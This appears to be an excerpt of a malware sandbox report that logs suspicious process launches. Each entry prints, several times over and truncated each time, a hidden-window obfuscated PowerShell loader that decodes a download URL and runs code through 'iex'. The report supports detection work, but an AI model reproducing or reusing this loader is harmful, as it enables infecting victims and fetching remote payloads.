Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.iN Ddse.rdltOver.Ori,SDi
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.iN Ddse.rdltOver.Ori,SDi	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.iN Ddse.rdltOver.Ori,SDi
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak Tvan/F.rfcEole o v$.eldF UnmltegmaMut.gParckVetenEgetaItc pCons)Korr ');Oncogenes (Oktantals ',epr$ordsg evelCanioLevub ela,nrilAndr: Balg oinaRekrwtudskPartiUndihRe,soBl,doScatdAort=Brev$ GenuTiturAntetPreseBrans MacuomfapElskpLflaerestrV va.FirlsmisppHelslneuti tyvtScra(Vege$ MjeDRe.uvExtreSc,elbudgrUndeeKapirBe.eePe isF.ed)S,dh ');Oncogenes (Oktantals 'Kono[civiNAffleS.lvtGabi.TenoSTor eRyonrStrevNe kiZy,oc Auge M,sP FakoKariiEkphncr,ttAvenM Me.aAssunTimea impgDetae pndrAfd ]Pist: Sli:st.rSEn oe strcWichuKontr Pr.i Af,tG oby UfoP tilrDatao Hayt Bleo Ba.cTeleo EnelSkri Fo r=Stop Udd[Ba.iN Ddse.rdltOver.Ori,SDi	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "write 'Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser Reactualizations rentvisten Exploder gawkihood urtesupper Indstrmme Guitars147 Acuity Trvaren Talefrihed Aktivitetspdagogikker Ubehjlpsommes Moutler Croise178 Mandigt Blindtarmsoperation Laeder titre Beskyttelsens Fremmedsprogene Lyrists7 Afgr Caesaropapacy Overskriftsstrrelser';If (${host}.CurrentCulture) {$Afiklingshastighed++;}$Papirindfringen51='SUBsTR';$Papirindfringen51+='ing';Function Oktantals($Maaleresultatet){$Fuldskggets=$Maaleresultatet.Length-$Afiklingshastighed;For( $Hypergamously=4;$Hypergamously -lt $Fuldskggets;$Hypergamously+=5){$Reactualizations+=$Maaleresultatet.$Papirindfringen51.Invoke( $Hypergamously, $Afiklingshastighed);}$Reactualizations;}function Oncogenes($Flirtigig){ & ($eksileredes) ($Flirtigig);}$Klagefrist=Oktantals ' RatMSeptoKrimzBilsi,adilIscelCreaaPort/Ud.e5tr.o.Dagu0 Bje B.rd( EjeWRa,ni A,tnBlyad teloLympwScrusGalv EddNe itTV ks Indu1File0Guri.Sdek0 san;Egyp KatdWC.rniSensn Cas6 em4.ogi;Tylv ForxF mm6Spor4Teq ;Ka c DelfrInfovMo e:Myop1Brys2Kura1 wag.Tils0Sund).ipp redGCance TobcSjusk U,do Fly/Unsc2Prot0Homo1Raak0T.ni0Blus1afgu0.syk1 Um, U,pFGlycihoveruartedanif havoBassxOver/Tilb1Komm2Scam1Din .hyld0Init ';$Morvin=Oktantals 'TeksU ValsBrace Wi rEuro-ArgeAMaalgSkvueDok,n TimtMod. ';$urtesupper=Oktantals 'Cocih undt fjet SerpH rksTalw:Ens./Kurv/Semie UdkcKlbeo StrnVogts ColtGeomrBehoa Hj.m.lndeServdCowhi.oteaEnke.Bar cLeveoEmptmBrim/S.anSKon,aGl,nmDe,asNonzeForsnNo,rd BareCurv. DagjC evpNebub,oth ';$Dvelreres=Oktantals ' P o>wood ';$eksileredes=Oktantals 'Avi,iglyceAfk,xP,ra ';$Synecologic='Acuity';$Flagknap = Oktantals 'Sekre prvc ,odh IndoChou Sk.t%BlipaBru pEksppNo idD.koaOp.rtRomaa Rim%Reex\del,NSed.eInvedMov p PecrDiskiOutdoFiskrEndoi N,nt,ttaeVestrSicae.ebonFa,ddL gteSu o2U,as0K,es0Dogm.RetySundiiDra.g Dis isot&,ota&Rutt MedbeFlotcProxhDowco.las Indst cr ';Oncogenes (Oktantals 'Abol$Divegkaf lConvo,lgpb.ejmaSalgl Oli:E.seM Cenb NumeShirl KrapBespoAmnilMe,tiDagstKonsu F grGig.eModurM,lj=Af.u(DovecFremmObted.hak 